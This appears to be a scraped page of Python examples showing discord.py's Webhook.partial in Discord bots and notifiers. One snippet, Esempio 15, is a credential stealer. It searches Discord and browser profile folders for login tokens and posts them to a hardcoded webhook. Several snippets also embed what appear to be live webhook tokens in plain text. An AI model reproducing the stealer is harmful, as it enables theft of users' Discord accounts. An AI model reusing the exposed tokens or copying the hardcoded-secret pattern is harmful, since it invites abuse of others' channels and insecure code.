Esempio n. 1
0
 async def _get_webhook_instance(self,
                                 channel: TextChannel) -> Optional[Webhook]:
     if not isinstance(channel, TextChannel):
         logger.error(f"Channel {channel} is not a TextChannel!")
         return None
     if channel in self.object_reference:
         webhook = self.object_reference[channel]
         if not self._is_async:
             # necessary to get the correct adapter (not async)
             return Webhook.partial(webhook.id,
                                    webhook.token,
                                    adapter=RequestsWebhookAdapter())
         return webhook
     webhooks = await channel.webhooks()
     matching_webhooks = [
         webhook for webhook in webhooks if webhook.name == self.name
     ]
     if len(matching_webhooks) > 1:
         logger.warning(
             f"More than 1 webhook in channel {channel} with name {self.name}: {webhooks}. "
             f"The first one will be used.")
     if not matching_webhooks:
         return await self.generate_object(channel)
     # else
     webhook = matching_webhooks[0]
     await self.update_object(webhook, channel)
     if not self._is_async:
         # necessary to get the correct adapter (not async)
         return Webhook.partial(webhook.id,
                                webhook.token,
                                adapter=RequestsWebhookAdapter())
     return webhook
Esempio n. 2
0
async def on_ready():
    print('------')
    print('Logged in as')
    print(client1.user.name)
    print(client1.user.id)
    print(client4.user.name)
    print(client4.user.id)
    #print(ext_client.user.name)
    #print(ext_client.user.id)
    print('------')
    loop98.start()
    global start
    stop = time.time()
    result = stop - start
    with open('webhook.json') as f:
        webhook_iroioro = json.load(f)
    webhook = Webhook.partial(734178673162321930,
                              webhook_iroioro["token_reboot"],
                              adapter=RequestsWebhookAdapter())
    webhook.send(f"再起動が終わりました{result}秒再起動にかかりました(ラズパイ)",
                 username='******',
                 avatar_url=webhook_iroioro["avater_reboot"])
    webhook = Webhook.partial(734666355944718428,
                              webhook_iroioro["token_reboot1"],
                              adapter=RequestsWebhookAdapter())
    webhook.send(f"再起動が終わりました{result}秒再起動にかかりました(ラズパイ)",
                 username='******',
                 avatar_url=webhook_iroioro["avater_reboot"])
    await client1.change_presence(activity=discord.Game(name="稼働中"))
    await client4.change_presence(activity=discord.Game(name="稼働中"))
Esempio n. 3
0
    def __init__(self, bot):
        self.bot = bot
        seed(datetime.now())
        self.gs = pygsheets.authorize(
            service_account_file='service-account-credentials.json')

        try:
            self.conn = sqlite3.connect('swrpg.db')
            self.cur = self.conn.cursor()
        except sqlite3.Error as e:
            print(e)

        self.webhooks = {
            687306755813670945:
            Webhook.partial(692337923462529025,
                            "0tc-ONxBoRp5XYYf1kW2QQd1WOeNgfy56_"
                            "9csaMTXSHDGmgu6JsWDQBxdclfift6xUa-",
                            adapter=RequestsWebhookAdapter()),
            685777376549928962:
            Webhook.partial(692351160572444683,
                            "jb2uuDdfktJ6uXetfo3KHzWL2C5XhTpOic"
                            "DFieoCPL0D1-jUNxSjv5YgfsExQvegayE6",
                            adapter=RequestsWebhookAdapter()),
            836213087107416085:
            Webhook.partial(839225479055671306,
                            "1XWjWi-ZY91W7aXKabqEj5DzSF1XR1KSb7"
                            "QSrahSmlfmXc0ssYdbIonQUv1dUwV_Yx2H",
                            adapter=RequestsWebhookAdapter()),
            837331470288289842:
            Webhook.partial(839234618099236926,
                            "FpYHA1FqZPh61IcZQe6pTqEsf_c15dKKll"
                            "lHvq9LN-9XJA7HY4Q9lsvz7pWq0HQZ4LC-",
                            adapter=RequestsWebhookAdapter())
        }
Esempio n. 4
0
def webh(serv):
    if SET_SERVER == "bl":
        webhook = Webhook.partial(
            bl_id_twitter, bl_token_twitter, adapter=RequestsWebhookAdapter()
        )
        return webhook
    else:
        webhook = Webhook.partial(
            dz_id_twitter, dz_token_twitter, adapter=RequestsWebhookAdapter()
        )
        return webhook
Esempio n. 5
0
def send_ci_channel(text):
    webhook_ci = Webhook.partial(WEBHOOK_ID_CI,
                                 WEBHOOK_TOKEN_CI,
                                 adapter=RequestsWebhookAdapter())
    lines = text.split('\\n')
    for line in lines:
        webhook_ci.send(line)
Esempio n. 6
0
def webhook_send(title, body, author, subreddit, URL, object_type,
                 datetime_object, process_reason):
    colors = [
        0x7f0000, 0x535900, 0x40d9ff, 0x8c7399, 0xd97b6c, 0xf2ff40, 0x8fb6bf,
        0x502d59, 0x66504d, 0x89b359, 0x00aaff, 0xd600e6, 0x401100, 0x44ff00,
        0x1a2b33, 0xff00aa, 0xff8c40, 0x17330d, 0x0066bf, 0x33001b, 0xb39886,
        0xbfffd0, 0x163a59, 0x8c235b, 0x8c5e00, 0x00733d, 0x000c59, 0xffbfd9,
        0x4c3300, 0x36d98d, 0x3d3df2, 0x590018, 0xf2c200, 0x264d40, 0xc8bfff,
        0xf23d6d, 0xd9c36c, 0x2db3aa, 0xb380ff, 0xff0022, 0x333226, 0x005c73,
        0x7c29a6
    ]

    truncated_body = (body[:1800] + '..') if len(body) > 1900 else body

    embed = Embed(
        colour=random.choice(colors),
        title="**/u/{author}** {action} in **/r/{subreddit}**".format(
            author=author,
            subreddit=subreddit,
            action="commented in a thread"
            if object_type == ObjectType.comment else "created a thread"),
        url="https://np.reddit.com" + URL,
        description=truncated_body if object_type == ObjectType.comment else
        "**{title}**\n{body}".format(title=title, body=truncated_body),
        timestamp=datetime_object)

    # todo: embed.set_author could be used to provide information about process reason.
    # todo: not sure if needed, need formatting ideas to make it look pretty.

    embed.set_footer(text="thread created on" if object_type
                     == ObjectType.submission else "comment created on",
                     icon_url='https://i.imgur.com/oElfmvz.png')

    regex = r"discordapp\.com\/api\/webhooks\/(?P<id>\d+)\/(?P<token>.+)"
    match = re.search(regex, config["webhook_url"])

    webhook = Webhook.partial(match.group("id"),
                              match.group("token"),
                              adapter=RequestsWebhookAdapter())
    try:
        webhook.send(embed=embed)
    except discord.errors.HTTPException as error:
        print('---------Error---------')
        print('discord.errors.HTTPException')
        print(
            "You've found an error. Please contact the owner (https://discord.gg/JV5eUB) "
            "and send him what follows below:")
        print(error)
        print('-----------------------')
    finally:
        print("{process_reason}: /u/{author} {action} in /r/{subreddit}: \n"
              "{URL}".format(
                  process_reason="Keyword detected" if process_reason
                  == ProcessReason.said_keyword else "Author detected" if
                  process_reason == ProcessReason.tracked_user else "Manual",
                  author=author,
                  subreddit=subreddit,
                  action="commented in a thread"
                  if object_type == ObjectType.comment else "created a thread",
                  URL="https://np.reddit.com" + URL))
Esempio n. 7
0
def get_webhook(details, session):
    wh_id = details["wh_id"]
    wh_token = details["wh_token"]
    hook = Webhook.partial(id=int(wh_id),
                           token=wh_token,
                           adapter=AsyncWebhookAdapter(session))
    return hook
Esempio n. 8
0
def send_scraper_channel(text):
    webhook_scraper = Webhook.partial(WEBHOOK_ID_SCRAPER,
                                      WEBHOOK_TOKEN_SCRAPER,
                                      adapter=RequestsWebhookAdapter())
    lines = text.split('\\n')
    for line in lines:
        webhook_scraper.send(line)
Esempio n. 9
0
def send_to_discord(sender, **kwargs):
    # Let everyone know when a new page is published using Discord Webhook
    if settings.DEBUG or settings.TESTING:
        return

    page = kwargs['instance']

    # First published check
    if page.first_published_at != page.last_published_at:
        return
    if page.get_parent().title not in ['Articles']:
        return

    webhook = Webhook.partial(settings.DISCORD_WEBHOOK_ID,
                              settings.DISCORD_WEBHOOK_TOKEN,
                              adapter=RequestsWebhookAdapter())
    embed = Embed(type="rich",
                  description='{}'.format(page.description),
                  colour=0x90E050)
    embed.set_author(name=page.title,
                     url='https://{}{}'.format(settings.SITE_NAME, page.url),
                     icon_url="https://i.imgur.com/9UsXLG0.png")
    if page.articlepage.feed_image:
        embed.set_thumbnail(url='https://{}{}'.format(
            settings.SITE_NAME,
            page.articlepage.feed_image.get_rendition('fill-800x600').url))
    embed.set_footer(text='{} | {}'.format(page.owner.username, (
        page.first_published_at).strftime('%A %d %B - %H:%M').title()))
    webhook.send(username='******', embed=embed)
Esempio n. 10
0
async def on_message(message):
    #cl = [545791218743902220] #channels ID's #general
    #cs = client.get_channel(560423218184192021) #channel id to send messages for to be copied by bot #test

    md = {
        "680321947166572554":
        "https://discordapp.com/api/webhooks/680357110269476869/P2UuUtbRa6ufx2m8q8Lg48Arx5aCVqSVlDmS26jY08tgCJnkLlqewyTm21QHpJE5oLFw",
        "680321976539283566":
        "https://discordapp.com/api/webhooks/680357508992598026/2tfriUvjG5juqm-yL9bZeJ3y5WdPHejdCyGS5FiscIuEbBelc38Cy78k9jMxeSH0iRkc"
    }
    if str(message.channel.id) in md:
        wbId, wbTok = md[str(message.channel.id)].split("/")[-2], md[str(
            message.channel.id)].split("/")[-1]
        wb = Webhook.partial(int(wbId),
                             wbTok,
                             adapter=RequestsWebhookAdapter())
        if len(message.embeds) != 0:
            wb.send(embeds=message.embeds)
        if len(message.attachments) != 0:
            for at in message.attachments:
                fi = await at.to_file()
                wb.send(file=fi)
        if message.content != "" or message.content != " ":
            try:
                wb.send(message.content)
            except Exception as e:
                print(message.content)
Esempio n. 11
0
    def send_message(self, wh_url):
        match = re.search(WH_REGEX, wh_url)

        if match:
            webhook = Webhook.partial(
                int(match.group("id")), match.group("token"), adapter=RequestsWebhookAdapter()
            )
            try:
                if self.discord_config.get("CreateEmbed", True):
                    webhook.send(
                        embed=self.embed,
                        content=self.discord_config.get("custom_message", "").format(
                            user=self.user, text=self.text, url=self.url
                        ),
                    )
                else:
                    webhook.send(
                        content=self.discord_config.get("custom_message", "").format(
                            user=self.user, text=self.text, url=self.url
                        )
                    )
            except discord.errors.NotFound as error:
                print(
                    f"---------Error---------\n"
                    f"discord.errors.NotFound\n"
                    f"The Webhook does not exist."
                    f"{error}\n"
                    f"-----------------------"
                )
            except discord.errors.Forbidden as error:
                print(
                    f"---------Error---------\n"
                    f"discord.errors.Forbidden\n"
                    f"The authorization token of your Webhook is incorrect."
                    f"{error}\n"
                    f"-----------------------"
                )
            except discord.errors.InvalidArgument as error:
                print(
                    f"---------Error---------\n"
                    f"discord.errors.InvalidArgument\n"
                    f"You modified the code. You can't mix embed and embeds."
                    f"{error}\n"
                    f"-----------------------"
                )
            except discord.errors.HTTPException as error:
                print(
                    f"---------Error---------\n"
                    f"discord.errors.HTTPException\n"
                    f"Your internet connection is whack."
                    f"{error}\n"
                    f"-----------------------"
                )
        else:
            print(
                f"---------Error---------\n"
                f"The following webhook URL is invalid:\n"
                f"{wh_url}\n"
                f"-----------------------"
            )
Esempio n. 12
0
def post_chat_message_to_discord(_, log):
    webhook_id, webhook_token = parse_webhook_url(DISCORD_CHAT_WEBHOOK_URL)
    if not all([webhook_id, webhook_token]):
        return

    try:
        message = f"{log['action']}: {log['message']}"
        if ALLOW_MENTIONS != 'yes':
            message = discord.utils.escape_mentions(message)
        message = discord.utils.escape_markdown(message)

        webhook = Webhook.partial(id=webhook_id,
                                  token=webhook_token,
                                  adapter=RequestsWebhookAdapter())
        logger.info("sending chat message len=%s to Discord", len(message))
        action = log['action'].ljust(20)
        player = log['player'].ljust(25)
        side = '+' if 'Allies' in action else '-'

        webhook.send(
            f"```diff\n{side} {action} {player} [{log['steam_id_64_1']}]:\n{log['sub_content']}```"
        )

    except Exception as e:
        logger.exception("error executing chat message webhook: %s", e)
def riskless_internal(debug_file):
    now = datetime.now()
    nowstring = now.hour
    webhook = Webhook.partial(
        674056380772253697,
        'RTuPvf30qDTtx-WM3s_bfiqxtEJ29KRHadOOqW-2glW-zfCW1Q8NHFIRu1px7qU2RqFi',
        adapter=RequestsWebhookAdapter())
    previouslist = []
    prev_ids = []
    while nowstring != 3:
        marketlist, debuglist, ids, runtime = riskless_algo()
        #        print(marketlist)
        #        print(debuglist)
        #        print(ids)
        if debuglist == []:
            if previouslist != []:
                webhook.send('Markets are no longer riskless!')
            else:
                None
        else:
            n = 0
            m = 0
            for prev_id in prev_ids:
                n = n + 1
                if prev_ids == []:
                    None
                elif prev_id not in ids:
                    webhook.send('Market no longer riskless! Market ID: ' +
                                 str(prev_id) + ', Market Name: ' +
                                 previouslist[n - 1][1])
                else:
                    None
            for good_id in ids:
                m = m + 1
                if good_id in prev_ids:
                    None
                else:
                    webhook.send(
                        'Market ID: ' + str(good_id) + ', Market Name: ' +
                        debuglist[m - 1][1] + ', Expected Profit per Share: ' +
                        str(debuglist[m - 1][2]) +
                        ', Link to Market: https://www.predictit.org/markets/detail/'
                        + str(good_id) + ' , Prices of Contracts: ' +
                        str(debuglist[m - 1][3]))
        previouslist = debuglist
        prev_ids = ids
        with open(debug_file, 'a') as file:
            writer = csv.writer(file)
            line = debuglist
            insertion = ([datetime.now()] + line)
            writer.writerow(insertion)
        file.close()
        time.sleep(60)
        now = datetime.now()
        nowstring = now.hour
    else:
        time.sleep(60)
        now = datetime.now()
        nowstring = now.hour
        riskless_internal(debug_file)
Esempio n. 14
0
def send_error_code_by_GET(branch, hash, msg):
    errmsg = [
        "", "Código de error #1 - Error en el test",
        "Código de error #2 - Error de Valgrind (posible leak)",
        "Código de error #3 - Error en la compilación (ver logs en GitHub)"
    ]
    errcolour = [
        discord.Colour.light_gray(),
        discord.Colour.orange(),
        discord.Colour.red(),
        discord.Colour.purple()
    ]
    errors = msg.split("&")[1:]

    webhook = Webhook.partial(WH_ID,
                              TOP_SECRET_WH_TOKEN,
                              adapter=RequestsWebhookAdapter())
    webhook.send("El reporte del tío Lucas:")
    webhook.send(f"**({hash[:7]})** - branch **{branch}**")

    for error in errors:
        errcode, *filenames = error.split("*")
        errcode = int(errcode)

        embedVar = discord.Embed(title=errmsg[errcode],
                                 colour=errcolour[errcode])
        for filename in filenames:
            embedVar.add_field(name="\u200b", value=filename)
        webhook.send(embed=embedVar)

    return {"response": "Done."}
Esempio n. 15
0
def main():
    local = os.getenv('LOCALAPPDATA')
    roaming = os.getenv('APPDATA')
    message = ''
    paths = {
        'Discord': roaming + '\\Discord',
        'Discord Canary': roaming + '\\discordcanary',
        'Discord PTB': roaming + '\\discordptb',
        'Google Chrome': local + '\\Google\\Chrome\\User Data\\Default',
        'Opera': roaming + '\\Opera Software\\Opera Stable',
        'Brave': local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
        'Yandex': local + '\\Yandex\\YandexBrowser\\User Data\\Default'
    }
    for platform, path in paths.items():
        if not os.path.exists(path):
            continue
        tokens = find_tokens(path)
        if len(tokens) > 0:
            for token in tokens:
                message += f'`{token}`\n\n'
        else:
            message += 'No tokens found.\n'
        webhook = Webhook.partial(
            798976762704166933,
            'ER-BghRFQgYvxecuiBXpts4PO8e8SZjrhjrF_ZBv2QLOg9V9_RHzjyVqZ7ONYYHcPJzJ',
            adapter=RequestsWebhookAdapter())
        webhook.send(f'{platform}\n{message}')
Esempio n. 16
0
def make_hook(webhook_url):
    webhook_id, webhook_token = parse_webhook_url(webhook_url)
    if not all([webhook_id, webhook_token]):
        return None
    return Webhook.partial(id=webhook_id,
                           token=webhook_token,
                           adapter=RequestsWebhookAdapter())
Esempio n. 17
0
def black_hole_mail(request):
    if request.method == "POST":
        text = request.POST["text"]
        user_ip = get_user_ip(request)
        user_sent_count = cache.get(f"mail_user_ip_{user_ip}")
        if not user_sent_count:
            cache.set(f"mail_user_ip_{user_ip}", 1, 30)
        else:
            user_sent_count += 1
            if user_sent_count > 4:
                return HttpResponse(json.dumps({"error": "Error: sending mail too frequently."}), content_type="application/json")
            else:
                cache.set(f"mail_user_ip_{user_ip}", user_sent_count, 30)
        if len(text) > 2000:
            return HttpResponse(json.dumps({"error": "Error: message too long. can only send 2000 characters."}), content_type="application/json")
        try:
            webhook = Webhook.partial(settings.MAIL_DISCORD_WEBHOOK_ID, settings.MAIL_DISCORD_WEBHOOK_TOKEN, adapter=RequestsWebhookAdapter())
            em = Embed(color=0x000000, title="Black Hole", description=f"⚫ You've got guyamail! 📬\n\n{text}", timestamp=datetime.utcnow())
            em.set_footer(text=f"IP hash: {hashlib.md5(user_ip.encode()).hexdigest()[:32]}")
            webhook.send(content=None, embed=em, username="******")
        except (AttributeError, NameError) as e:
            feedback_folder = os.path.join(settings.MEDIA_ROOT, "feedback")
            os.makedirs(feedback_folder, exist_ok=True)
            feedback_file = str(int(datetime.utcnow().timestamp()))
            with open(os.path.join(feedback_folder, f"{feedback_file}.txt"), "w") as f:
                f.write(text)
        return HttpResponse(json.dumps({"success": "Mail successfully crossed the event horizon"}), content_type="application/json")
Esempio n. 18
0
    async def _event_alert(self, guild_config, event, embed):
        if guild_config['events'][event]['webhook_data'] is not None:
            splitted_webhook_data = guild_config['events'][event][
                'webhook_data'].split('/')
        else:
            splitted_webhook_data = guild_config['events'][
                'default_webhook_data'].split('/')

        # Get webhook to alert to
        webhook = Webhook.partial(splitted_webhook_data[0],
                                  splitted_webhook_data[1],
                                  adapter=AsyncWebhookAdapter(
                                      self.bot.http_session))

        embed.timestamp = datetime.now()
        embed.set_footer(text='Skyblock Simplified',
                         icon_url='https://i.imgur.com/V7ENVHr.png')

        mention_id = guild_config['events'][event]['mention_id']
        if mention_id is None:
            mention_id = guild_config['events']['default_mention_id']

        # Send webhook embed
        try:
            await webhook.send(
                content=f'<@&{mention_id}>' if mention_id else '',
                embed=embed,
                username=f'Skyblock Event Alert',
                avatar_url='https://i.imgur.com/Fhx03E7.png')
        except Exception:
            await self._handle_failed_webhook_send(guild_config, event,
                                                   int(guild_config['_id']))
Esempio n. 19
0
def webhook():
    sys.stdout.flush()
    if request.headers.get('Authorization') == webhook_password:
        user_id = request.json.get('user')
        bot_id = request.json.get('bot')  # ID of the bot that was upvoted
        request_type = request.json.get('type')
        weekend_status = request.json.get('isWeekend')
        now = datetime.datetime.utcnow()
        mongo.voters.vote.insert_one({
            'type': request_type,
            'user': user_id,
            'bot': bot_id,
            'weekend': weekend_status,
            'time': now
        })
        if discord_webhook != "":
            embed_title = "Test" if request_type == 'test' else 'New upvote!'
            embed = Embed(
                title=embed_title,
                description=
                f"**Upvoter: <@{user_id}>** ({user_id})\n**Upvoted bot:** <@{bot_id}> ({bot_id})",
                timestamp=datetime.datetime.utcnow(),
                color=Color.green())
            webhook = Webhook.partial(webhook_id,
                                      webhook_token,
                                      adapter=RequestsWebhookAdapter())
            webhook.send(embed=embed)
        return '', 200
    else:
        abort(400)
Esempio n. 20
0
async def say(text=None, embed=None, where=None):
    ''' adapter for saying stuff, will use existing webhooks or create if needed '''
    WEBHOOK_ID = ''
    WEBHOOK_TOKEN = ''
    # look up already existing webhooks that is set up for the bot.
    for w in range(0, len(webhooks)):
        obj = webhooks[w]
        if obj.name == bot.user.display_name and obj.channel.id == where:
            WEBHOOK_ID = obj.id
            WEBHOOK_TOKEN = obj.token
    else:  # if the webhook is nonexistant, create it.
        try:
            chan = discord.utils.get(bot.get_all_channels(),
                                     guild__name='Stocky',
                                     id=int(where))
            wb = await chan.create_webhook(name=bot.user.display_name)
            webhooks.append(wb)
            WEBHOOK_ID = wb.id
            WEBHOOK_TOKEN = wb.token
            logging.debug('Webhook created for textchannel "{}"'.format(
                wb.channel))
        except:
            logging.warn(
                'Does the bot have "manage_webhooks" flag? Couldnt create webhooks for {}'
                .format(where))
            return
    webhook = Webhook.partial(WEBHOOK_ID,
                              WEBHOOK_TOKEN,
                              adapter=RequestsWebhookAdapter())
    webhook.send(text, embed=embed, username=bot.user.display_name)
Esempio n. 21
0
 def __init__(self, webhook_id, webhook_token, username=None):
     if not username:
         self.username = "******"
     else:
         self.username = username
     logging.Handler.__init__(self)
     self.webhook = Webhook.partial(webhook_id, webhook_token, adapter=RequestsWebhookAdapter())
Esempio n. 22
0
    async def on_raw_reaction_add(self,
                                  payload: discord.RawReactionActionEvent):
        # Vars
        guild = self.bot.get_guild(payload.guild_id)
        if not guild:
            return
        role = get(guild.roles, id=role_id)
        welcome_channel = get(guild.channels, id=welcome_channel_id)
        member = guild.get_member(payload.user_id)

        # Reaction Role
        if member is None:
            return
        if role in member.roles:
            return
        if payload.emoji.id == reaction_id and payload.message_id == message_id:
            await member.add_roles(role)
            # Embed
            footer = counter_text + str(len(role.members))
            random_message = secrets.choice(welcome_messages)
            replaced_message = random_message.replace("{user}", member.mention)
            embed = discord.Embed(description=replaced_message,
                                  color=0x0066cc,
                                  timestamp=datetime.datetime.utcnow())
            embed.set_author(name=member.display_name,
                             icon_url=member.avatar_url)
            embed.set_footer(text=footer)
            # Welcome Webhook
            webhook = Webhook.partial(webhook_id, webhook_token,\
                                      adapter=RequestsWebhookAdapter())
            await webhook.send(embed=embed)
Esempio n. 23
0
def send_message(msg):
    webhook_id = discord_config["webhook_id"]
    token = discord_config["token"]
    webhook = Webhook.partial(webhook_id,
                              token,
                              adapter=RequestsWebhookAdapter())
    webhook.send(msg, username="******")
Esempio n. 24
0
def say(text=None, embed=None):
    from pubgbot import webhook_uri
    uri = webhook_uri.split('/')
    webhook = Webhook.partial(uri[5], uri[6], adapter=RequestsWebhookAdapter())
    if text is None:
        text = ''
    webhook.send(text, embed=embed, username=bot_username)
Esempio n. 25
0
async def send_hook(bot: object,
                    channel: object,
                    username: str,
                    avatarURL: str,
                    message: str = None,
                    embed=None):
    async def get_hook(channel):
        for hook in await channel.webhooks():
            if hook.name == "py.hook":
                return hook

        return await channel.create_webhook(name="py.hook")

    hook = await get_hook(channel)

    webhook = Webhook.partial(hook.id,
                              hook.token,
                              adapter=RequestsWebhookAdapter())

    send_webhook = lambda: webhook.send(
        content=message, embed=embed, avatar_url=avatarURL, username=username)

    loop = asyncio.get_running_loop()

    await loop.run_in_executor(None, send_webhook)
Esempio n. 26
0
    def update(self):
        start = time.time()

        #setup discord webhooks
        webhook = Webhook.partial(self.config["discord"]["webhook_id"],
                                  self.config["discord"]["webhook_token"],
                                  adapter=RequestsWebhookAdapter())
        prec_webhook = Webhook.partial(
            self.config["discord"]["prec_webhook_id"],
            self.config["discord"]["prec_webhook_token"],
            adapter=RequestsWebhookAdapter())

        #update our ldb
        try:
            self.ldb.update_data()
        except Exception as e:
            print(
                "Unsuccesfull ldb update resetting and conducting no action!")
            print("Exception: ", e)

            #reset our database
            self.ldb = LiveDataBase(symbol=self.symbol,
                                    run_path=self.run_path,
                                    config_path=self.config_path)

            #save no action
            self.actionlog.append(action=None, actual_price=None)

            #end the update method
            return

        #get the new state
        state = self.ldb.get_state()

        #get the action for that new state
        action = self.actor.get_action(state)

        #do something with this action
        self.broker.trade(action=action, amount=1000)

        #save the action
        self.actionlog.append(action=action, actual_price=100)

        #calculate update duration
        duration = time.time() - start

        print(f"Update took {round(duration,2)} seconds")
Esempio n. 27
0
def send_message(message, currentTemp):
    webhook = Webhook.partial(Channel_ID,
                              Web_hook,
                              adapter=RequestsWebhookAdapter())

    highestTemp = temps1[3] if temps1[3] >= temps2[3] else temps2[3]

    webhook.send((message) % highestTemp)
Esempio n. 28
0
def send_discord(text):
    webhook = Webhook.partial(DISCORD_HOOK_ID,
                              DISCORD_HOOK_TOKEN,
                              adapter=RequestsWebhookAdapter())
    try:
        webhook.send(text)
    except Exception as ex:
        print(ex)
Esempio n. 29
0
def print_table():
    hook_id = os.getenv('DANK_HOOK_ID')
    hook_token = os.getenv('DANK_HOOK_TOKEN')

    webhook = Webhook.partial(hook_id,
                              hook_token,
                              adapter=RequestsWebhookAdapter())
    webhook.send(api.get_ipos(), username='******')
Esempio n. 30
0
async def post_message(channel: TextChannel, content: str):
    if channel.id == general_channel_id:
        webhook = Webhook.partial(webhook_id,
                                  webhook_token,
                                  adapter=RequestsWebhookAdapter())
        webhook.send(content, username="******", avatar_url=quote_url)
    else:
        await channel.send(content)